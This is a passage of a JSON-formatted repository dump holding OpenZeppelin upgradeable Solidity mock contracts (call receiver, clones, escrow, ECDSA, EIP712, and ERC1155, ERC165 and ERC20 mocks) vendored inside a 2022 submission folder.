    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract CallReceiverMockUpgradeable is Initializable {\n    function __CallReceiverMock_init() internal onlyInitializing {\n        __CallReceiverMock_init_unchained();\n    }\n\n    function __CallReceiverMock_init_unchained() internal onlyInitializing {\n    }\n    string public sharedAnswer;\n\n    event MockFunctionCalled();\n    event MockFunctionCalledWithArgs(uint256 a, uint256 b);\n\n    uint256[] private _array;\n\n    function mockFunction() public payable returns (string memory) {\n        emit MockFunctionCalled();\n\n        return \"0x1234\";\n    }\n\n    function mockFunctionWithArgs(uint256 a, uint256 b) public payable returns (string memory) {\n        emit MockFunctionCalledWithArgs(a, b);\n\n        return \"0x1234\";\n    }\n\n    function mockFunctionNonPayable() public returns (string memory) {\n        emit MockFunctionCalled();\n\n        return \"0x1234\";\n    }\n\n    function mockStaticFunction() public pure returns (string memory) {\n        return \"0x1234\";\n    }\n\n    function mockFunctionRevertsNoReason() public payable {\n        revert();\n    }\n\n    function mockFunctionRevertsReason() public payable {\n        revert(\"CallReceiverMock: reverting\");\n    }\n\n    function mockFunctionThrows() public payable {\n        assert(false);\n    }\n\n    function mockFunctionOutOfGas() public payable {\n        for (uint256 i = 0; ; ++i) {\n            _array.push(i);\n        }\n    }\n\n    function mockFunctionWritesStorage() public returns (string memory) {\n        sharedAnswer = \"42\";\n        return \"0x1234\";\n    }\n    uint256[48] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ClashingImplementationUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation contract with an admin() function made to clash with\n * @dev TransparentUpgradeableProxy's to test correct functioning of the\n * @dev Transparent Proxy feature.\n */\ncontract ClashingImplementationUpgradeable is Initializable {\n    function __ClashingImplementation_init() internal onlyInitializing {\n        __ClashingImplementation_init_unchained();\n    }\n\n    function __ClashingImplementation_init_unchained() internal onlyInitializing {\n    }\n    function admin() external pure returns (address) {\n        return 0x0000000000000000000000000000000011111142;\n    }\n\n    function delegatedFunction() external pure returns (bool) {\n        return true;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ClonesMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/ClonesUpgradeable.sol\";\nimport \"../utils/AddressUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ClonesMockUpgradeable is Initializable {\n    function __ClonesMock_init() internal onlyInitializing {\n        __ClonesMock_init_unchained();\n    }\n\n    function __ClonesMock_init_unchained() internal onlyInitializing {\n    }\n    using AddressUpgradeable for address;\n    using ClonesUpgradeable for address;\n\n    event NewInstance(address instance);\n\n    function clone(address implementation, bytes calldata initdata) public payable {\n        _initAndEmit(implementation.clone(), initdata);\n    }\n\n    function cloneDeterministic(\n        address implementation,\n        bytes32 salt,\n        bytes calldata initdata\n    ) public payable {\n        _initAndEmit(implementation.cloneDeterministic(salt), initdata);\n    }\n\n    function predictDeterministicAddress(address implementation, bytes32 salt) public view returns (address predicted) {\n        return implementation.predictDeterministicAddress(salt);\n    }\n\n    function _initAndEmit(address instance, bytes memory initdata) private {\n        if (initdata.length > 0) {\n            instance.functionCallWithValue(initdata, msg.value);\n        }\n        emit NewInstance(instance);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ConditionalEscrowMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/escrow/ConditionalEscrowUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n// mock class using ConditionalEscrow\ncontract ConditionalEscrowMockUpgradeable is Initializable, ConditionalEscrowUpgradeable {\n    function __ConditionalEscrowMock_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __Ownable_init_unchained();\n        __Escrow_init_unchained();\n        __ConditionalEscrow_init_unchained();\n        __ConditionalEscrowMock_init_unchained();\n    }\n\n    function __ConditionalEscrowMock_init_unchained() internal onlyInitializing {\n    }\n    mapping(address => bool) private _allowed;\n\n    function setAllowed(address payee, bool allowed) public {\n        _allowed[payee] = allowed;\n    }\n\n    function withdrawalAllowed(address payee) public view override returns (bool) {\n        return _allowed[payee];\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ContextMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ContextMockUpgradeable is Initializable, ContextUpgradeable {\n    function __ContextMock_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ContextMock_init_unchained();\n    }\n\n    function __ContextMock_init_unchained() internal onlyInitializing {\n    }\n    event Sender(address sender);\n\n    function msgSender() public {\n        emit Sender(_msgSender());\n    }\n\n    event Data(bytes data, uint256 integerValue, string stringValue);\n\n    function msgData(uint256 integerValue, string memory stringValue) public {\n        emit Data(_msgData(), integerValue, stringValue);\n    }\n    uint256[50] private __gap;\n}\n\ncontract ContextMockCallerUpgradeable is Initializable {\n    function __ContextMockCaller_init() internal onlyInitializing {\n        __ContextMockCaller_init_unchained();\n    }\n\n    function __ContextMockCaller_init_unchained() internal onlyInitializing {\n    }\n    function callSender(ContextMockUpgradeable context) public {\n        context.msgSender();\n    }\n\n    function callData(\n        ContextMockUpgradeable context,\n        uint256 integerValue,\n        string memory stringValue\n    ) public {\n        context.msgData(integerValue, stringValue);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/CountersImplUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/CountersUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract CountersImplUpgradeable is Initializable {\n    function __CountersImpl_init() internal onlyInitializing {\n        __CountersImpl_init_unchained();\n    }\n\n    function __CountersImpl_init_unchained() internal onlyInitializing {\n    }\n    using CountersUpgradeable for CountersUpgradeable.Counter;\n\n    CountersUpgradeable.Counter private _counter;\n\n    function current() public view returns (uint256) {\n        return _counter.current();\n    }\n\n    function increment() public {\n        _counter.increment();\n    }\n\n    function decrement() public {\n        _counter.decrement();\n    }\n\n    function reset() public {\n        _counter.reset();\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/Create2ImplUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Create2Upgradeable.sol\";\nimport \"../utils/introspection/ERC1820ImplementerUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract Create2ImplUpgradeable is Initializable {\n    function __Create2Impl_init() internal onlyInitializing {\n        __Create2Impl_init_unchained();\n    }\n\n    function __Create2Impl_init_unchained() internal onlyInitializing {\n    }\n    function deploy(\n        uint256 value,\n        bytes32 salt,\n        bytes memory code\n    ) public {\n        Create2Upgradeable.deploy(value, salt, code);\n    }\n\n    function deployERC1820Implementer(uint256 value, bytes32 salt) public {\n        Create2Upgradeable.deploy(value, salt, type(ERC1820ImplementerUpgradeable).creationCode);\n    }\n\n    function computeAddress(bytes32 salt, bytes32 codeHash) public view returns (address) {\n        return Create2Upgradeable.computeAddress(salt, codeHash);\n    }\n\n    function computeAddressWithDeployer(\n        bytes32 salt,\n        bytes32 codeHash,\n        address deployer\n    ) public pure returns (address) {\n        return Create2Upgradeable.computeAddress(salt, codeHash, deployer);\n    }\n\n    receive() external payable {}\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/DummyImplementationUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\nabstract contract ImplUpgradeable is Initializable {\n    function __Impl_init() internal onlyInitializing {\n        __Impl_init_unchained();\n    }\n\n    function __Impl_init_unchained() internal onlyInitializing {\n    }\n    function version() public pure virtual returns (string memory);\n    uint256[50] private __gap;\n}\n\ncontract DummyImplementationUpgradeable is Initializable {\n    function __DummyImplementation_init() internal onlyInitializing {\n        __DummyImplementation_init_unchained();\n    }\n\n    function __DummyImplementation_init_unchained() internal onlyInitializing {\n    }\n    uint256 public value;\n    string public text;\n    uint256[] public values;\n\n    function initializeNonPayable() public {\n        value = 10;\n    }\n\n    function initializePayable() public payable {\n        value = 100;\n    }\n\n    function initializeNonPayableWithValue(uint256 _value) public {\n        value = _value;\n    }\n\n    function initializePayableWithValue(uint256 _value) public payable {\n        value = _value;\n    }\n\n    function initialize(\n        uint256 _value,\n        string memory _text,\n        uint256[] memory _values\n    ) public {\n        value = _value;\n        text = _text;\n        values = _values;\n    }\n\n    function get() public pure returns (bool) {\n        return true;\n    }\n\n    function version() public pure virtual returns (string memory) {\n        return \"V1\";\n    }\n\n    function reverts() public pure {\n        require(false, \"DummyImplementation reverted\");\n    }\n    uint256[47] private __gap;\n}\n\ncontract DummyImplementationV2Upgradeable is Initializable, DummyImplementationUpgradeable {\n    function __DummyImplementationV2_init() internal onlyInitializing {\n        __DummyImplementation_init_unchained();\n        __DummyImplementationV2_init_unchained();\n    }\n\n    function __DummyImplementationV2_init_unchained() internal onlyInitializing {\n    }\n    function migrate(uint256 newVal) public payable {\n        value = newVal;\n    }\n\n    function version() public pure override returns (string memory) {\n        return \"V2\";\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ECDSAMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/ECDSAUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ECDSAMockUpgradeable is Initializable {\n    function __ECDSAMock_init() internal onlyInitializing {\n        __ECDSAMock_init_unchained();\n    }\n\n    function __ECDSAMock_init_unchained() internal onlyInitializing {\n    }\n    using ECDSAUpgradeable for bytes32;\n    using ECDSAUpgradeable for bytes;\n\n    function recover(bytes32 hash, bytes memory signature) public pure returns (address) {\n        return hash.recover(signature);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function recover_v_r_s(\n        bytes32 hash,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public pure returns (address) {\n        return hash.recover(v, r, s);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function recover_r_vs(\n        bytes32 hash,\n        bytes32 r,\n        bytes32 vs\n    ) public pure returns (address) {\n        return hash.recover(r, vs);\n    }\n\n    function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) {\n        return hash.toEthSignedMessageHash();\n    }\n\n    function toEthSignedMessageHash(bytes memory s) public pure returns (bytes32) {\n        return s.toEthSignedMessageHash();\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/EIP712ExternalUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/draft-EIP712Upgradeable.sol\";\nimport \"../utils/cryptography/ECDSAUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract EIP712ExternalUpgradeable is Initializable, EIP712Upgradeable {\n    function __EIP712External_init(string memory name, string memory version) internal onlyInitializing {\n        __EIP712_init_unchained(name, version);\n        __EIP712External_init_unchained(name, version);\n    }\n\n    function __EIP712External_init_unchained(string memory name, string memory version) internal onlyInitializing {}\n\n    function domainSeparator() external view returns (bytes32) {\n        return _domainSeparatorV4();\n    }\n\n    function verify(\n        bytes memory signature,\n        address signer,\n        address mailTo,\n        string memory mailContents\n    ) external view {\n        bytes32 digest = _hashTypedDataV4(\n            keccak256(abi.encode(keccak256(\"Mail(address to,string contents)\"), mailTo, keccak256(bytes(mailContents))))\n        );\n        address recoveredSigner = ECDSAUpgradeable.recover(digest, signature);\n        require(recoveredSigner == signer);\n    }\n\n    function getChainId() external view returns (uint256) {\n        return block.chainid;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1155BurnableMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/extensions/ERC1155BurnableUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC1155BurnableMockUpgradeable is Initializable, ERC1155BurnableUpgradeable {\n    function __ERC1155BurnableMock_init(string memory uri) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC1155_init_unchained(uri);\n        __ERC1155Burnable_init_unchained();\n        __ERC1155BurnableMock_init_unchained(uri);\n    }\n\n    function __ERC1155BurnableMock_init_unchained(string memory uri) internal onlyInitializing {}\n\n    function mint(\n        address to,\n        uint256 id,\n        uint256 value,\n        bytes memory data\n    ) public {\n        _mint(to, id, value, data);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1155MockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/ERC1155Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC1155Mock\n * This mock just publicizes internal functions for testing purposes\n */\ncontract ERC1155MockUpgradeable is Initializable, ERC1155Upgradeable {\n    function __ERC1155Mock_init(string memory uri) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC1155_init_unchained(uri);\n        __ERC1155Mock_init_unchained(uri);\n    }\n\n    function __ERC1155Mock_init_unchained(string memory uri) internal onlyInitializing {}\n\n    function setURI(string memory newuri) public {\n        _setURI(newuri);\n    }\n\n    function mint(\n        address to,\n        uint256 id,\n        uint256 value,\n        bytes memory data\n    ) public {\n        _mint(to, id, value, data);\n    }\n\n    function mintBatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory values,\n        bytes memory data\n    ) public {\n        _mintBatch(to, ids, values, data);\n    }\n\n    function burn(\n        address owner,\n        uint256 id,\n        uint256 value\n    ) public {\n        _burn(owner, id, value);\n    }\n\n    function burnBatch(\n        address owner,\n        uint256[] memory ids,\n        uint256[] memory values\n    ) public {\n        _burnBatch(owner, ids, values);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1155PausableMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC1155MockUpgradeable.sol\";\nimport \"../token/ERC1155/extensions/ERC1155PausableUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC1155PausableMockUpgradeable is Initializable, ERC1155MockUpgradeable, ERC1155PausableUpgradeable {\n    function __ERC1155PausableMock_init(string memory uri) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC1155_init_unchained(uri);\n        __ERC1155Mock_init_unchained(uri);\n        __Pausable_init_unchained();\n        __ERC1155Pausable_init_unchained();\n        __ERC1155PausableMock_init_unchained(uri);\n    }\n\n    function __ERC1155PausableMock_init_unchained(string memory uri) internal onlyInitializing {}\n\n    function pause() external {\n        _pause();\n    }\n\n    function unpause() external {\n        _unpause();\n    }\n\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual override(ERC1155Upgradeable, ERC1155PausableUpgradeable) {\n        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1155ReceiverMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/IERC1155ReceiverUpgradeable.sol\";\nimport \"../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC1155ReceiverMockUpgradeable is Initializable, ERC165Upgradeable, IERC1155ReceiverUpgradeable {\n    bytes4 private _recRetval;\n    bool private _recReverts;\n    bytes4 private _batRetval;\n    bool private _batReverts;\n\n    event Received(address operator, address from, uint256 id, uint256 value, bytes data, uint256 gas);\n    event BatchReceived(address operator, address from, uint256[] ids, uint256[] values, bytes data, uint256 gas);\n\n    function __ERC1155ReceiverMock_init(\n        bytes4 recRetval,\n        bool recReverts,\n        bytes4 batRetval,\n        bool batReverts\n    ) internal onlyInitializing {\n        __ERC165_init_unchained();\n        __ERC1155ReceiverMock_init_unchained(recRetval, recReverts, batRetval, batReverts);\n    }\n\n    function __ERC1155ReceiverMock_init_unchained(\n        bytes4 recRetval,\n        bool recReverts,\n        bytes4 batRetval,\n        bool batReverts\n    ) internal onlyInitializing {\n        _recRetval = recRetval;\n        _recReverts = recReverts;\n        _batRetval = batRetval;\n        _batReverts = batReverts;\n    }\n\n    function onERC1155Received(\n        address operator,\n        address from,\n        uint256 id,\n        uint256 value,\n        bytes calldata data\n    ) external override returns (bytes4) {\n        require(!_recReverts, \"ERC1155ReceiverMock: reverting on receive\");\n        emit Received(operator, from, id, value, data, gasleft());\n        return _recRetval;\n    }\n\n    function onERC1155BatchReceived(\n        address operator,\n        address from,\n        uint256[] calldata ids,\n        uint256[] calldata values,\n        bytes calldata data\n    ) external override returns (bytes4) {\n        require(!_batReverts, \"ERC1155ReceiverMock: reverting on batch receive\");\n        emit BatchReceived(operator, from, ids, values, data, gasleft());\n        return _batRetval;\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1155SupplyMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC1155MockUpgradeable.sol\";\nimport \"../token/ERC1155/extensions/ERC1155SupplyUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC1155SupplyMockUpgradeable is Initializable, ERC1155MockUpgradeable, ERC1155SupplyUpgradeable {\n    function __ERC1155SupplyMock_init(string memory uri) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC1155_init_unchained(uri);\n        __ERC1155Mock_init_unchained(uri);\n        __ERC1155Supply_init_unchained();\n        __ERC1155SupplyMock_init_unchained(uri);\n    }\n\n    function __ERC1155SupplyMock_init_unchained(string memory uri) internal onlyInitializing {}\n\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual override(ERC1155Upgradeable, ERC1155SupplyUpgradeable) {\n        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1271WalletMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../access/OwnableUpgradeable.sol\";\nimport \"../interfaces/IERC1271Upgradeable.sol\";\nimport \"../utils/cryptography/ECDSAUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC1271WalletMockUpgradeable is Initializable, OwnableUpgradeable, IERC1271Upgradeable {\n    function __ERC1271WalletMock_init(address originalOwner) internal onlyInitializing {\n        __Context_init_unchained();\n        __Ownable_init_unchained();\n        __ERC1271WalletMock_init_unchained(originalOwner);\n    }\n\n    function __ERC1271WalletMock_init_unchained(address originalOwner) internal onlyInitializing {\n        transferOwnership(originalOwner);\n    }\n\n    function isValidSignature(bytes32 hash, bytes memory signature) public view override returns (bytes4 magicValue) {\n        return ECDSAUpgradeable.recover(hash, signature) == owner() ? this.isValidSignature.selector : bytes4(0);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165/ERC165InterfacesSupportedUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * https://eips.ethereum.org/EIPS/eip-214#specification\n * From the specification:\n * > Any attempts to make state-changing operations inside an execution instance with STATIC set to true will instead\n * throw an exception.\n * > These operations include [...], LOG0, LOG1, LOG2, [...]\n *\n * therefore, because this contract is staticcall'd we need to not emit events (which is how solidity-coverage works)\n * solidity-coverage ignores the /mocks folder, so we duplicate its implementation here to avoid instrumenting it\n */\ncontract SupportsInterfaceWithLookupMockUpgradeable is Initializable, IERC165Upgradeable {\n    /*\n     * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7\n     */\n    bytes4 public constant INTERFACE_ID_ERC165 = 0x01ffc9a7;\n\n    /**\n     * @dev A mapping of interface id to whether or not it's supported.\n     */\n    mapping(bytes4 => bool) private _supportedInterfaces;\n\n    /**\n     * @dev A contract implementing SupportsInterfaceWithLookup\n     * implement ERC165 itself.\n     */\n    function __SupportsInterfaceWithLookupMock_init() internal onlyInitializing {\n        __SupportsInterfaceWithLookupMock_init_unchained();\n    }\n\n    function __SupportsInterfaceWithLookupMock_init_unchained() internal onlyInitializing {\n        _registerInterface(INTERFACE_ID_ERC165);\n    }\n\n    /**\n     * @dev Implement supportsInterface(bytes4) using a lookup table.\n     */\n    function supportsInterface(bytes4 interfaceId) public view override returns (bool) {\n        return _supportedInterfaces[interfaceId];\n    }\n\n    /**\n     * @dev Private method for registering an interface.\n     */\n    function _registerInterface(bytes4 interfaceId) internal {\n        require(interfaceId != 0xffffffff, \"ERC165InterfacesSupported: invalid interface id\");\n        _supportedInterfaces[interfaceId] = true;\n    }\n    uint256[49] private __gap;\n}\n\ncontract ERC165InterfacesSupportedUpgradeable is Initializable, SupportsInterfaceWithLookupMockUpgradeable {\n    function __ERC165InterfacesSupported_init(bytes4[] memory interfaceIds) internal onlyInitializing {\n        __SupportsInterfaceWithLookupMock_init_unchained();\n        __ERC165InterfacesSupported_init_unchained(interfaceIds);\n    }\n\n    function __ERC165InterfacesSupported_init_unchained(bytes4[] memory interfaceIds) internal onlyInitializing {\n        for (uint256 i = 0; i < interfaceIds.length; i++) {\n            _registerInterface(interfaceIds[i]);\n        }\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165/ERC165MissingDataUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\nimport \"../../proxy/utils/Initializable.sol\";\n\ncontract ERC165MissingDataUpgradeable is Initializable {\n    function __ERC165MissingData_init() internal onlyInitializing {\n        __ERC165MissingData_init_unchained();\n    }\n\n    function __ERC165MissingData_init_unchained() internal onlyInitializing {\n    }\n    function supportsInterface(bytes4 interfaceId) public view {} // missing return\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165/ERC165NotSupportedUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\nimport \"../../proxy/utils/Initializable.sol\";\n\ncontract ERC165NotSupportedUpgradeable is Initializable {    function __ERC165NotSupported_init() internal onlyInitializing {\n        __ERC165NotSupported_init_unchained();\n    }\n\n    function __ERC165NotSupported_init_unchained() internal onlyInitializing {\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165CheckerMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/ERC165CheckerUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC165CheckerMockUpgradeable is Initializable {\n    function __ERC165CheckerMock_init() internal onlyInitializing {\n        __ERC165CheckerMock_init_unchained();\n    }\n\n    function __ERC165CheckerMock_init_unchained() internal onlyInitializing {\n    }\n    using ERC165CheckerUpgradeable for address;\n\n    function supportsERC165(address account) public view returns (bool) {\n        return account.supportsERC165();\n    }\n\n    function supportsInterface(address account, bytes4 interfaceId) public view returns (bool) {\n        return account.supportsInterface(interfaceId);\n    }\n\n    function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) public view returns (bool) {\n        return account.supportsAllInterfaces(interfaceIds);\n    }\n\n    function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) public view returns (bool[] memory) {\n        return account.getSupportedInterfaces(interfaceIds);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165MockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC165MockUpgradeable is Initializable, ERC165Upgradeable {    function __ERC165Mock_init() internal onlyInitializing {\n        __ERC165_init_unchained();\n        __ERC165Mock_init_unchained();\n    }\n\n    function __ERC165Mock_init_unchained() internal onlyInitializing {\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165StorageMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/ERC165StorageUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC165StorageMockUpgradeable is Initializable, ERC165StorageUpgradeable {\n    function __ERC165StorageMock_init() internal onlyInitializing {\n        __ERC165_init_unchained();\n        __ERC165Storage_init_unchained();\n        __ERC165StorageMock_init_unchained();\n    }\n\n    function __ERC165StorageMock_init_unchained() internal onlyInitializing {\n    }\n    function registerInterface(bytes4 interfaceId) public {\n        _registerInterface(interfaceId);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1820ImplementerMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/ERC1820ImplementerUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC1820ImplementerMockUpgradeable is Initializable, ERC1820ImplementerUpgradeable {\n    function __ERC1820ImplementerMock_init() internal onlyInitializing {\n        __ERC1820Implementer_init_unchained();\n        __ERC1820ImplementerMock_init_unchained();\n    }\n\n    function __ERC1820ImplementerMock_init_unchained() internal onlyInitializing {\n    }\n    function registerInterfaceForAddress(bytes32 interfaceHash, address account) public {\n        _registerInterfaceForAddress(interfaceHash, account);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20BurnableMockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20BurnableUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract ERC20BurnableMockUpgradeable is Initializable, ERC20BurnableUpgradeable {\n    function __ERC20BurnableMock_init(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __ERC20Burnable_init_unchained();\n        __ERC20BurnableMock_init_unchained(name, symbol, initialAccount, initialBalance);\n    }\n\n    function __ERC20BurnableMock_init_unchained(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) internal onlyInitializing {\n        _mint(initialAccount, initialBalance);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20CappedMockUpgradeable.sol",
